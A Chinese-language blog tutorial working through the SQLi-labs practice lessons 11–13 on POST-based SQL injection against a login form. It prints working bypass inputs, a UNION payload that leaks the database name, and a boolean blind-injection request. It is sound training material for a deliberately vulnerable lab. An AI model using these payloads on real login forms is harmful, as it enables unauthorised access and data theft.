POST注入入门-Less-11-13
Less-11
POST
POST方式就是将数据从客户端提交到服务器端,数据以表单形式提交
打开Less-11关卡
下面使用之前10关上闭合语句的方法,如果这个语句判断的是用户名和密码是否匹配,那么可以将匹配密码这一段注释掉,并且该为真语句,那就实现了绕过了判断,进入到登录界面。
提交后提示Your Login name:admin
Your Password:admin
这样实际是直接将后面语句注释掉之后就进入了登陆界面,下面看一下代码
1 | @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; |
这里将$uname
替换成admin '#
后,闭合了语句,并且注释了后面的语句,其中数据库中有admin
所以语句正确执行,进入登录后的界面,同样这个地方也能执行其他sql语句。这里使用union注入进行尝试,username输入aaa'union select 1,database() #
,密码任意。
输入后显示Your Login name:1
Your Password:security
这里爆出了数据库的名字
1 | aaa' order by 3 # |
less-12
在username上输入admin ' #
后没有反应,输入admin " #
后显示错误信息,You
have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '' at line 1
使用其他万能密码进行尝试admin ") #
,密码随便,登陆成功,查看源码
1 | $uname='"'.$uname.'"'; |
所以后面注入的语句只需要修改闭合语句就可以。
Less-13
username输入admin '#
,报错You
have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '' at line 1
通过这个错误也没看出用什么来闭合,用admin ') #
尝试后成功。
然后这里看到并没有出现什么数据,只是有个图片提示登录成功,所以推测是盲注,这里使用布尔盲注,并使用HackBar插件。
1 | uname=admin ') and left(database(),1)>'a' #&passwd=123132&submit=Submit |
总结
总体来看,前面几关没有什么特别的地方,注入的语句都是和Less-1以及后面的几关类似。
本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/fdae567a.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!